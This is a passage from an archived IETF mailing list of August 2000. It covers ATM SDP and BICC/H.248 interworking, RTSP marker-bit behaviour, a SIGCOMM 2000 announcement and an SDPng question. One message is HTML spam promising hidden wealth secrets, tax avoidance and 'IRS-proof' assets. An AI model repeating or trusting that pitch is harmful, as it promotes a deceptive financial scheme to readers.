currently working at updating the set of packages for BICC to illustrate
this.

The 2nd set of SDP is what will be contained in the IP bearer control
protocol (IPBCP) this could be carried as a property in a Package. This
is being defined in SG11 and only relevant for IP connections so the
ATMSDP work isn't really relevant.

The 3rd is the ATM_SDP work as I mentioned before is for use in the core
H.248 for
the BMC interface. There's no BICC packages defined there so I don't
think we have an overlap problem and as its generic SDP its not a BICC
specific issue.
> 
> Thanks,
> 
> Rajesh
> 
> At 03:47 PM 8/8/00 +1000, Leslie Graf wrote:
> 
> > Hi Mark,
> > I had a chat with Christian before answering this, as you took me
> > quite by suproze. I had never thought SDP was needed to be generated
> > from the CSU to the BCU. In CS1 in our supplements we passed down
> > the codec type and TMR, etc. I feel this is a transport technology
> > independant way of doing things and requires no additional
> > standardisation in other forums. This would be part of our package
> > definition in the BICC group. I see no reason why the CSU need know
> > anything about SDP, could you please clarify if I have missed
> > something? The only use of SDP in the BICC domain that I am familiar
> > with is in the IP BCP running in the tunnel. This is completely
> > transparent to the CSU.
> > Could you explain to me what we gain by going to SDP generated from
> > the CSU rather than using the work we did in CS1?
> > Regards Leslie
> >
> > Mark Watson wrote:
> >
> >>  Leslie,Unless I have missed something, SDP is the way that
> >> Megaco/H.248 communicates a variety of parameters between MGC and
> >> MG, and this work is the IETFs approach to extending Megaco/H.248
> >> to support ATM bearer types.We need a way of communicating the
> >> BIWF address and BNC ID from MG to MGC so that they can then be
> >> placed in the BAT ASE for the non-tunnelled Bearer Control case
> >> that we use with ATM. This draft provides such a capability
> >> (amongst many other things more relevant to the BMC interface than
> >> CBC).I think that IETF and ITU-T approaches to the non-tunnelled
> >> bearer control case are slightly different, but amongst all the
> >> noise, we are both trying to solve the same problem of
> >> communicating these two information elements on the vertical
> >> interface, so we should at least study whether there is scope for
> >> an aligned solution.Regards,Mark WatsonNortel Networks
> >>
> >>           -----Original Message-----
> >>           From: Leslie Graf
> >>           [mailto:Leslie.Graf@ericsson.com.au]
> >>           Sent: 07 August 2000 12:13
> >>           To: Watson, Mark [MAIFP:EP11-M:EXCH]
> >>           Cc: 'Rajesh Kumar'; confctrl@isi.edu;
> >>           atmsdp@eng.fore.com; msf-media@msforum.org; 'BICC
> >>           ITU-T SG11 (tsg11bicc@ties.itu.int)'
> >>           Subject: Re: Reminder//Status of ATM SDP internet
> >>           draft
> >>
> >>           Hi Mark,
> >>           I am also very interested in this for work I am
> >>           involved in (nothingto do with BICC). However what
> >>           I am missing at the moment is seeing the
> >>           significance of the ATM additions to SDP to the
> >>           work for BICC CS2.
> >>           As you are aware of have concerns on the timeframe
> >>           in meeting our objectives for CS2 by the end of the
> >>           year. Could you please enlighten me with why this
> >>           should be of any interest to BICC CS2, is anyone
> >>           planning for ATM BCP's using SDP for BICC
> >>           environment?
> >>           This is the only item I can think of which would
> >>           make it relevant.
> >>           Regards Leslie
> >>
> >>           Mark Watson wrote:
> >>
> >>           > Hi Rajesh,The ITU-T Study Group 11 BICC group are
> >>           > meeting from 18 to 22nd September. It would be
> >>           > very useful if your updated draft could be input
> >>           > into that meeting, so that we can study whether or
> >>           > not it meets the Study Group 11 requirements, and
> >>           > if not whether there is an easy way of getting
> >>           > alignment. Do you think the draft will be ready by
> >>           > then ?Regards,Mark WatsonNortel Networks
> >>           > -----Original Message-----
> >>           > From: Rajesh Kumar [mailto:rkumar@cisco.com]
> >>           > Sent: 04 August 2000 18:36
> >>           > To: Joerg Ott
> >>           > Cc: mmostafa@cisco.com; bfoster@cisco.com;
> >>           > Brian.Rosen@marconi.com; confctrl@isi.edu;
> >>           > atmsdp@eng.fore.com; msf-media@msforum.org
> >>           > Subject: Reminder//Status of ATM SDP internet
> >>           > draft
> >>           > Hi Jeorg,At the end of the MMUSIC session on
> >>           > Wednesday, you asked me to remind you to send me
> >>           > the *comments* you have on
> >>           > draft-rajeshkumar-mmusic-sdp-atm-02.txt.Please do
> >>           > so. Your help in clearing all technical and
> >>           > logistic hurdles in moving this internet draft to
> >>           > standards track is critical. Thanks for your help
> >>           > and co-operation so far.FYI-- I have made careful
> >>           > notes of the comments that were provided during my
> >>           > presentation at the IETF. I do not see any problem
> >>           > in incorporating them into the next round of the
> >>           > internet draft, which I hope to release in the
> >>           > mid-September time-frame.- I am expecting further
> >>           > inputs from  Sean Sheedy. FYI, Sean and I have met
> >>           > informally before the MMUSIC meeting and talked
> >>           > after the meeting, and we are in agreement in what
> >>           > needs to be done for MPEG support. Sean needs to
> >>           > confirm certain things with his CTO, following
> >>           > which he will provide me with detailed input via
> >>           > email.- I have found a few more inputs on the
> >>           > atmsdp mailing list following my return, and I
> >>           > will address each and every one of them.If we can
> >>           > get all this input sorted out in an internet draft
> >>           > to be posted in mid-September, what do you think
> >>           > is the time-line for moving this to standards
> >>           > track?Thanks
> >>           >
> >>           > - Rajesh Kumar
> >>           > +--------------------+
> >>           > |Carrier Packet Voice|
> >>           > |Cisco Systems       |
> >>           > |San Jose, California|
> >>           > +--------------------+
> >>           >   rkumar@cisco.com
> >>           >   408 527 0811
> >>           >
> >>           >
> >>
> >>
> >
> > - Rajesh Kumar
> >
> > -------------------------------------------------------
> > Rajesh Kumar                             :         :
> > Carrier Packet Voice                    .|.       .|.
> > Cisco Systems                         .:|||:.   .:|||:.
> > San Jose, California               ..:|||||||:.:|||||||:..
> > 408 527 0811                       C i s c o S y s t e m s
> > rkumar@cisco.com
> > -------------------------------------------------------
> >
> >
> >
> >


From confctrl-owner  Wed Aug  9 07:57:10 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA17163
	for confctrl-outgoing; Wed, 9 Aug 2000 07:57:10 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA17158
	for <confctrl@zephyr.isi.edu>; Wed, 9 Aug 2000 07:57:08 -0700 (PDT)
Received: from fns-mail.nc.fnc.fujitsu.com (int173.nc.fnc.fujitsu.com [168.127.252.173])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id HAA22543
	for <confctrl@isi.edu>; Wed, 9 Aug 2000 07:58:13 -0700 (PDT)
Received: by fns-mail.nc.fnc.fujitsu.com with Internet Mail Service (5.5.2650.21)
	id <KJMAHHVA>; Wed, 9 Aug 2000 10:56:14 -0400
Message-ID: <47A44F71A511D411B12100805FE6628812E51B@fns-mail.nc.fnc.fujitsu.com>
From: "Jepsen, Tom" <tom.jepsen@fnc.fujitsu.com>
To: "'Rajesh Kumar'" <rkumar@cisco.com>, Leslie.Graf@ericsson.com.au,
        Mark Watson <mwatson@nortelnetworks.com>
Cc: confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org,
        "'BICC ITU-T SG11 (tsg11bicc@ties.itu.int)'" <tsg11bicc@ties.itu.ch>
Subject: RE: Reminder//Status of ATM SDP internet draft
Date: Wed, 9 Aug 2000 10:56:11 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There has been some work at the ATM Forum lately which is relevant to this
discussion.  The Voice and Multimedia Over ATM (VMOA) working group at the
ATM forum is currently defining the architecture for an ATM-based next
generation network which uses MEGACO/H.248 as the MGC/MG protocol. I
presented a contribution at the May ATM Forum meeting in San Francisco which
described the IETF  (atmsdp) work on SDP for ATM, and specifically referred
to draft-rajeskumar-mmusic-sdp-atm-03 as the basis for specifying SDP for
ATM bearers.

At the July ATM Forum meeting in Barcelona, Spain, a baseline text (working
document) was created for the next generation MEGACO-based architecture
which included a reference to draft-rajeskumar-mmusic-sdp-atm-03 as the
specification for text encoding of local and remote descriptors. It also
refers to the ITU-T BICC specification (Q.1901) as one of several supported
network-level call control protocols. (The ATM Forum baseline text is
currently work in progress, and will eventually result in a published
specification.)

A liaison (atm00i-0027) was received from Study Group 11 of the ITU-T at
this meeting which detailed recent work on BICC.  It contains a very helpful
tutorial on BICC, which is to appear in a future issue of IEEE
Communications Magazine. ( ATM Forum members may download this liaison from
the liaisons directory on the ATM Forum website.) Included in this liaison
is a description of work items for CS2, including physical separation
between the Call Serving Function (CSF) and the Bearer Control Function
(BCF), using a "vertical" interface based on H.248.

Defining the interworking between BICC and MEGACO/H.248 is clearly an
important work item for all these groups, and the atmsdp work seems to be a
good logical starting point.

Best Regards
Tom Jepsen
Fujitsu Network Communications
1000 St. Albans Drive
Raleigh, NC 27609 USA
(919)790-3439

> -----Original Message-----
> From:	Rajesh Kumar [SMTP:rkumar@cisco.com]
> Sent:	Tuesday, August 08, 2000 8:54 PM
> To:	Leslie.Graf@ericsson.com.au; Mark Watson
> Cc:	confctrl@isi.edu; atmsdp@eng.fore.com; msf-media@msforum.org; 'BICC
> ITU-T SG11 (tsg11bicc@ties.itu.int)'
> Subject:	Re: Reminder//Status of ATM SDP internet draft
> 
> I'll try and answer Leslie's question based on my understanding of the
> BICC work. Correct me where I am wrong.
> 
> The CSU described below is the equivalent of the MGC in h.248/Megaco, and
> the BCU is the equivalent of the MG.
> 
> I guess CSUs communicate with each other through Q.1901-enhanced ISUP.
> They communicate  with BCUs through some protocol not addressed by BICC,
> such as Megaco/h.248. Now, Megaco uses SDP to communicate parameters.
> 
> I guess the CSUs have two options in relaying the bearer-specific
> parameters to the far-end CSU via ISUP enhanced through Q.1901. One option
> is to interwork the Megaco/h.248 parameters into Q.BICC(Q.1901)
> parameters. The other option is to just tunnel these parameters as a
> character string to the far-end, via Q.1901-enhanced ISUP. I guess this is
> what you mean by "tunneled" and "non-tunneled", but I may be wrong.
> 
> Given this, the CSU would need to understand SDP in the non-tunneled
> approach if Megaco is the protocol between the CSU and BCU. Is SG11
> devising a protocol for use between the CSU (MGC) and the BCU (MG) that is
> an alternative to Megaco/SDP?
> 
> Thanks,
> 
> Rajesh
> 
> 

From confctrl-owner  Wed Aug  9 20:22:08 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA22671
	for confctrl-outgoing; Wed, 9 Aug 2000 20:22:08 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA22663;
	Wed, 9 Aug 2000 20:22:06 -0700 (PDT)
Received: from centromor.com.pl ([195.117.10.1])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id UAA01769;
	Wed, 9 Aug 2000 20:22:52 -0700 (PDT)
Date: Wed, 9 Aug 2000 20:22:52 -0700 (PDT)
From: sold@quotepool.com
Received: from host10.4ua.com by centromor.com.pl with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8)
	id PLWRPHJ4; Thu, 10 Aug 2000 05:32:00 +0200
Message-Id: <965877030.dddsnfwamzba@dddsnfwamzba.mail.accesscomp1.net> 
To: dddsnfwamzba@accesscomp1.net
Reply-To: sold@quotepool.com
X-Mailer: Mozilla 4.51 [en] (Win98; I)
X-Accept-Language: en
Content-Type: text/html; Charset=us-ascii
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Subject: Do you feel only the wealthy are privy to certain secrets?                                                   kuqhx
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><BODY BGCOLOR="#408080"></P><P ALIGN=CENTER><FONT  SIZE=4 PTSIZE=11><B>93% WHO RESPOND TO MY AD DON'T MAKE THE CUT!<BR>
</FONT><FONT  SIZE=3 PTSIZE=9>(Only highly motivated people should call)<BR>
<BR>
</FONT><FONT  SIZE=3 PTSIZE=10>I'm dead serious! Now let me tell you why...<BR>
<BR>
</FONT><FONT  SIZE=2 PTSIZE=8>Most people don't have <U>drive</U>! They sit around waiting for something to happen.<BR>
They see that other people have nice homes, new cars, and MONEY, but why can't they?<BR>
They basically feel sorry for themselves, and I can't help these people!<BR>
</FONT><FONT  SIZE=3 PTSIZE=9><BR>
</FONT><FONT  SIZE=3 PTSIZE=10>Another reason people are not qualified...<BR>
<BR>
</FONT><FONT  SIZE=2 PTSIZE=8>They are skeptical. BUT, the truth is, they are skeptical of themselves!<BR>
They don't have the <U>courage</U> to break their routine.<BR>
They are comfortable with their set hours, their set pay, and their set future.<BR>
I was not comfortable with someone controlling my future,<BR>
and I'm not comfortable working with people who are!</FONT><FONT  SIZE=3 PTSIZE=9><BR>
<BR>
</FONT><FONT  SIZE=4 PTSIZE=11>STOP</FONT><FONT  SIZE=4 PTSIZE=12><BR>
</FONT><FONT  SIZE=3 PTSIZE=10>If you are anything like the above, we won't be able to work together!<BR>
<BR>
</FONT><FONT  SIZE=4 PTSIZE=11>WHAT DO THE 7% WHO DO MAKE THE CUT DISCOVER?!<BR>
<BR>
</FONT><FONT  SIZE=2 PTSIZE=8>People I select through an "interview like" process are forever changed!<BR>
They are opened to a world around them that they didn't know existed.<BR>
In fact, it's a world that has existed <U>around</U> them their whole lives,<BR>
but was purposely hidden from them!</FONT><FONT  SIZE=3 PTSIZE=9><BR>
<BR>
<BR>
</FONT><FONT  SIZE=3 PTSIZE=10>How would you like to...<BR>
<BR>
</FONT><FONT  SIZE=3 PTSIZE=9>- Drastically <U>reduce</U> personal, business and capital gains taxes?<BR>
- Protect <U>all</U> assets from any form of seizure, liens, or judgments?<BR>
- Create a <U>six figure</U> income every 4 months?<BR>
<BR>
 </FONT><FONT  SIZE=3 PTSIZE=10>How about...<BR>
<BR>
</FONT><FONT  SIZE=2 PTSIZE=8>Restoring and preserving complete personal and financial<U> privacy</U>?<BR>
Amassing personal <U>wealth</U>, multiplying it and protecting it?<BR>
Realizing a 3 to 6 times <U>greater return</U> on your money?<BR>
<U>Legally</U> making yourself and your assets completely judgment-proof,<BR>
lien-proof, divorce-proof, attorney-proof, IRS-proof?<BR>
I could go on...</FONT><FONT  SIZE=3 PTSIZE=9><BR>
<BR>
</FONT><FONT  SIZE=3 PTSIZE=10>TAKE A SERIOUS LOOK AT YOUR LIFE<BR>
<BR>
</FONT><FONT  SIZE=3 PTSIZE=9>Do you think you are paid what you are worth?<BR>
Will you be set to retire in the next few years?<BR>
Do you control the course of your day? ...your life?<BR>
<BR>
</FONT><FONT  SIZE=2 PTSIZE=8>The fact is we have many people in our enterprise that earn over 50K per month<BR>
from the privacy of their own homes, and are retiring in 2 to 3 years (wealthy)<BR>
and have total freedom - both personal and financial!<BR>
<BR>
Many have been <U>conditioned</U> to believe it must be illegal, immoral or unethical<BR>
to ever earn any real profits from our efforts.<BR>
<BR>
The <U>sad truth</U> is, it's been designed that way by the ultra-rich<BR>
and ultra-powerful since before any of us were born!</FONT><FONT  SIZE=3 PTSIZE=9><BR>
<BR>
</FONT><FONT  SIZE=3 PTSIZE=10>Who am I?<BR>
<BR>
</FONT><FONT  SIZE=2 PTSIZE=8>I'm a BIG thinker, a BIG dreamer, and I believe that I deserve the best that life has to offer.<BR>
I answered an ad much like the one you are reading now,<BR>
and was eager to hear what it was about.<BR>
<BR>
I knew that I couldn't invest only a few bucks and spend an hour or two<BR>
per week to achieve the results I was looking for.  I found the right information<BR>
and now I control my own destiny!<BR>
<BR>
If you are interested in radically changing your thoughts and your financial future,<BR>
I invite you to call TOLL FREE:</FONT><FONT  SIZE=3 PTSIZE=9><BR>
<BR>
</FONT><FONT  SIZE=4 PTSIZE=11>1 800 707 4817<BR>
<BR>
</FONT><FONT  SIZE=3 PTSIZE=9>My name is Krystina, and I look forward to working with some of you!<BR>
<BR>
* REMEMBER *<BR>
<BR>
I can't do it for you, but I can show you exactly how I do it.<BR>
It's as simple as that!</B></P></HTML>


From confctrl-owner  Fri Aug 11 17:58:52 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA25350
	for confctrl-outgoing; Fri, 11 Aug 2000 17:58:52 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA25345
	for <confctrl@zephyr.isi.edu>; Fri, 11 Aug 2000 17:58:51 -0700 (PDT)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id RAA04400
	for <confctrl@isi.edu>; Fri, 11 Aug 2000 17:59:58 -0700 (PDT)
Received: from savage.entera.com ([10.0.1.19]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-61971U200L100S0V35)
          with ESMTP id com; Fri, 11 Aug 2000 17:59:41 -0700
Received: from localhost
	([127.0.0.1] helo=entera.com ident=ronf)
	by savage.entera.com with esmtp (Exim 3.12 #1 (Debian))
	id 13NPdi-00009V-00; Fri, 11 Aug 2000 17:59:06 -0700
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
To: Anup Rao <anrao@cisco.com>
cc: confctrl@ISI.EDU
Subject: Re: RTSP Bakeoff issues 
In-Reply-To: Message from Anup Rao <anrao@cisco.com> 
   of "Tue, 08 Aug 2000 18:36:04 MST." <3990B584.59C84FE1@cisco.com> 
References: <E13MJtb-0000D8-00@savage.entera.com>  
 <3990B584.59C84FE1@cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 11 Aug 2000 17:59:06 -0700
From: ronf@entera.com (Ron Frederick)
Message-Id: <E13NPdi-00009V-00@savage.entera.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Anup...

In message <3990B584.59C84FE1@cisco.com> you write:
> Ron,
> 
> Thanks for the excellent summary.  One comment below:
> 
> Ron Frederick wrote:
>> [setting the marker bit in a server at the start of PLAY]
> 
> I'd like to make a case for the way it currently is ie. set the marker bit
> in the audio stream to mark the first packet for any new PLAY request.
> 
> It allows for the logical seperation of the controlling(RTSP) entity and the
> playback entity.  It is quite possible to not receive the  PLAY response
> (with the RTP-Info header) before the first packet, hence resulting in some
> confusion. In such a case, one might point out that the RTP-Info header is
> no use. However I think the RTP-Info is advisory  information (in that one
> can get by without), but the marker bit is more than that. I think that
> will perhaps become more evident for implementations that do indeed keep
> contiguous timestamps across PLAYs as specified in the same section.
> 
Actually, the intent of the marker bit in RTP was also to only be advisory
information, at least in the particular case being discussed here. The
marker bit for audio is meant to signal a logical point to adjust the size
of the playout buffer by adding or removing silence. It should not be
needed to achieve correct decoding of the audio data. It should also not
really matter whether or not the bit is set at the very beginning of the
first PLAY request sent, or any play request sent after a substantial pause,
as the receiver buffer would be empty at that point. It only becomes an
issue on something like queued PLAY of multiple requests or a seek during
an already playing stream. In those cases, the only "bad" behavior if the
marker bit is not set is that the receiver doesn't get a chance to readjust
their buffer, instead letting the audio data play with a gap defined by the
origin server's timestamps.

> This "logical seperation" is even more important if the RTP stream is
> directed at a third party (ie the controller and the playback agent are on
> different hosts) which does not have the RTP-Info header. In comparison,
> teaching the server to know whether its audio nor not (in essence a
> boolean flag either derived from the file extension, file header, or simply
> put in as seperate meta-information with the file) seems to be simple.
> 
I do understand the logical separation argument, and in fact I've designed
systems in the past where the control was on one piece of hardware and the
RTP data processing was on another. However, in those cases there generally
was still some other internal control channel opened between the two systems
and you generally already needed to be passing messages between them when
streams are started up. Passing the RTP-Info at this time is straightforward,
if you really need it. In many cases, you can probably also get by without
it, though, if you had to.

As for changing the server to know about whether a particular track is
audio, the reality is that there are a large number of file formats out
there which aren't going to be easy to change at this point, and many of
them are containers for arbitrary types of content with no indication of
whether it is audio or not. While it would be possible to have some
additional external information of this sort, that's not very practical.
The server would have to have some kind of process where it scanned new
content to figure out what all the tracks were and then prompted the user
about each should be treated as audio. I just don't see this be worthwhile
for the small amount of gain we're achieving here. We also run the risk of
an audio payload format coming along which uses the marker bit in some
other way (which a payload is free to do) -- do we really want a server
changing it in cases where it doesn't know the details of the audio
payload type?
--
Ron Frederick
ronf@entera.com



From confctrl-owner  Mon Aug 14 12:41:38 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA23790
	for confctrl-outgoing; Mon, 14 Aug 2000 12:41:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA23783
	for <confctrl@zephyr.isi.edu>; Mon, 14 Aug 2000 12:41:36 -0700 (PDT)
Received: from rum.isi.edu (rum.isi.edu [128.9.160.237])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA15521
	for <confctrl@isi.edu>; Mon, 14 Aug 2000 12:42:43 -0700 (PDT)
From: Joe Touch <touch@ISI.EDU>
Received: (from touch@localhost)
	by rum.isi.edu (8.9.3/8.8.6) id MAA10382
	for confctrl@isi.edu; Mon, 14 Aug 2000 12:42:43 -0700 (PDT)
Date: Mon, 14 Aug 2000 12:42:43 -0700 (PDT)
Message-Id: <200008141942.MAA10382@rum.isi.edu>
To: confctrl@ISI.EDU
Subject: SIGCOMM 2000 - Final Call for Participation
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

THIS IS THE FINAL REMINDER: Registration is still open, 
but we are quickly approaching our limit of 500 participants.
Please register as soon as possible to reserve a spot.

Please see the website below for further information.

---------------------------------------------------------------

		     Final Call for Participation
		     ACM SIGCOMM 2000 Conference

		    August 28 - September 1, 2000
		    Grand Hotel, Stockholm, Sweden
		http://www.acm.org/sigcomm/sigcomm2000
		       sigcomm2000-info@acm.org

SIGCOMM 2000 is the annual conference of the Special Interest Group on
Data Communication (SIGCOMM), a single-track, highly selective
conference with a technical program of 26 papers, tutorials by noted
instructors on the two days prior, and a work-in-progress poster
session and a social session on outrageous opinions.  All papers are
currently available at the conference at the conference website. The
SIGCOMM 2000 Award is being given to Prof. Andre Danthine, University
of Liege, Belgium, who will also provide the keynote address.

Registration

The conference and hotel registration is handled by the Stockholm
Convention Bureau (for instructions, see the website). 
      *********************************************************
      ** Note that the number of delegates is limited to 500 **
      ** and that registration requests will be handled on a **
      ** "first-come-first-served" basis.                    **
      *********************************************************
On-line, secure registration is available at the SIGCOMM website.
Please refer to the web or paper forms for various rates and options.

Stockholm, Opening Reception and Dinner events

Stockholm - the Royal capital of Sweden - is one of the most beautiful
cities in the world. It is built on fourteen islands and surrounded by
waters so clean that you can fish and swim in the middle of the city.

The reception is generously hosted by Stockholm City, and includes a
sightseeing cruise on the water ways of Stockholm, through the Old Town
to the City Hall, famous for the Nobel Prize festivities. The banquet
dinner is hosted at the Vasa Museum, site of the Sweden's largest and
most prestigious warship.

General Co-Chairs
	Per Gunningberg, Uppsala U., Sweden (perg@docs.uu.se)
	Steve Pink, Lulea U. Tech., Sweden (steve@cdt.luth.se)
Program Co-Chairs
	Christophe Diot, Sprint ATL, USA (cdiot@sprintlabs.com)
	Jim Kurose, U. Massachusetts, USA (kurose@cs.umass.edu)
Publicity Chair
	Joe Touch, USC/ISI, USA (touch@isi.edu)
Tutorials Chair
	Steve Pink, Lulea U Tech., Sweden (steve@cdt.luth.se)

From confctrl-owner  Tue Aug 15 13:36:35 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA25502
	for confctrl-outgoing; Tue, 15 Aug 2000 13:36:35 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA25497
	for <confctrl@zephyr.isi.edu>; Tue, 15 Aug 2000 13:36:34 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id NAA02798;
	Tue, 15 Aug 2000 13:37:40 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24209;
	Tue, 15 Aug 2000 16:37:36 -0400 (EDT)
Message-Id: <200008152037.QAA24209@ietf.org>
To: IETF-Announce: ;
Cc: RFC Editor <rfc-editor@ISI.EDU>, IANA <iana@iana.org>
Cc: Internet Architecture Board <iab@ISI.EDU>
Cc: confctrl@ISI.EDU
From: The IESG <iesg-secretary@ietf.org>
Subject: Document Action: Session Announcement Protocol to Experimental
Date: Tue, 15 Aug 2000 16:37:36 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



The IESG has approved the Internet-Draft 'Session Announcement
Protocol' <draft-ietf-mmusic-sap-v2-06.txt> as a Experimental.  This
document is the product of the Multiparty Multimedia Session Control
Working Group.  The IESG contact persons are Allison Mankin and Scott
Bradner.


From confctrl-owner  Tue Aug 15 14:38:53 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA28322
	for confctrl-outgoing; Tue, 15 Aug 2000 14:38:53 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA28317
	for <confctrl@zephyr.isi.edu>; Tue, 15 Aug 2000 14:38:52 -0700 (PDT)
Received: from picard.noroff.no ([212.20.204.3])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id OAA22413;
	Tue, 15 Aug 2000 14:39:58 -0700 (PDT)
Received: by picard.noroff.no (Postfix, from userid 815)
	id 4E6C72201F; Wed, 16 Aug 2000 00:24:44 +0200 (CEST)
Received: from loki.ietf.org (loki.ietf.org [132.151.1.177])
	by picard.noroff.no (Postfix) with ESMTP id CF13BB3802
	for <magg@NOROFF.NO>; Wed, 16 Aug 2000 00:24:41 +0200 (CEST)
Received: (from adm@localhost)
	by loki.ietf.org (8.9.1b+Sun/8.9.1) id QAA24408
	for ietf-123-outbound.09@ietf.org; Tue, 15 Aug 2000 16:45:01 -0400 (EDT)
Received: from ietf.org (odin.ietf.org [10.27.2.28])
	by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id QAA24368
	for <all-ietf@loki.ietf.org>; Tue, 15 Aug 2000 16:37:39 -0400 (EDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA24209;
	Tue, 15 Aug 2000 16:37:36 -0400 (EDT)
Message-Id: <200008152037.QAA24209@ietf.org>
To: IETF-Announce: ;
Cc: RFC Editor <rfc-editor@ISI.EDU>, IANA <iana@iana.org>
Cc: Internet Architecture Board <iab@ISI.EDU>
Cc: confctrl@ISI.EDU
From: The IESG <iesg-secretary@ietf.org>
Subject: Document Action: Session Announcement Protocol to Experimental
Date: Tue, 15 Aug 2000 16:37:36 -0400
X-AntiVirus: scanned for viruses by Amavis 0.2.1-pre2
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



The IESG has approved the Internet-Draft 'Session Announcement
Protocol' <draft-ietf-mmusic-sap-v2-06.txt> as a Experimental.  This
document is the product of the Multiparty Multimedia Session Control
Working Group.  The IESG contact persons are Allison Mankin and Scott
Bradner.


From confctrl-owner  Thu Aug 17 09:37:33 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA10118
	for confctrl-outgoing; Thu, 17 Aug 2000 09:37:33 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA10113
	for <confctrl@zephyr.isi.edu>; Thu, 17 Aug 2000 09:37:31 -0700 (PDT)
Received: from mel.alcatel.fr (mel.alcatel.fr [212.208.74.132])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id JAA00077
	for <confctrl@ISI.EDU>; Thu, 17 Aug 2000 09:38:38 -0700 (PDT)
Received: from aifhs2.alcatel.fr (mailhub.alcatel.fr [155.132.180.80])
        by mel.alcatel.fr (ALCANET/SMTP) with ESMTP id SAA30780;
        Thu, 17 Aug 2000 18:38:23 +0200
Received: from medine.ms.alcatel.fr (medine.ms.alcatel.fr [193.105.117.1])
        by aifhs2.alcatel.fr (ALCANET/SMTP2) with ESMTP id SAA14539;
        Thu, 17 Aug 2000 18:36:55 +0200 (MET DST)
Received: from ms.ms.alcatel.fr (aar.ms.alcatel.fr [188.9.12.93])
	by medine.ms.alcatel.fr (8.8.8/8.8.8/aar-1.2) with ESMTP id SAA11126;
	Thu, 17 Aug 2000 18:38:36 +0200 (MET DST)
Received: from ms.alcatel.fr ([188.9.247.87])
	by ms.ms.alcatel.fr (8.8.7/8.8.7/aar-1.0) with ESMTP id SAA07256;
	Thu, 17 Aug 2000 18:38:32 +0200 (MET DST)
Message-ID: <399C1541.FCEDB5C2@ms.alcatel.fr>
Date: Thu, 17 Aug 2000 18:39:29 +0200
From: Thomas LEVY <thomas.levy@ms.alcatel.fr>
Organization: Alcatel
X-Mailer: Mozilla 4.5 [fr] (WinNT; I)
X-Accept-Language: en,fr
MIME-Version: 1.0
To: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
CC: mmusic <confctrl@ISI.EDU>
Subject: SDPng/SDP: video configuration negotiation,
References: <cdg0p5chxu.fsf@daemon.informatik.uni-bremen.de>
Content-Type: multipart/alternative;
 boundary="------------7BDCBAD231538FD938308635"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------7BDCBAD231538FD938308635
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

    Hi,

First, I must confess that I am not very confident with SDP.
So perhaps, my question will seem rather evident or confused.

In the current version of the draft SDPng, it is mentioned:
"In case of video transmission, a JPEG-based still image protocol may be used, H.261
encoded CIF images could be sent as could H.261 encoded QCIF images. All three cases
constitute
different configurations. Of course there are many more detailed protocol parameters.
.."

It points out that the format of the image (such as CIF, QCIF..) is a determining
parameter for some video codecs (such as H.261).
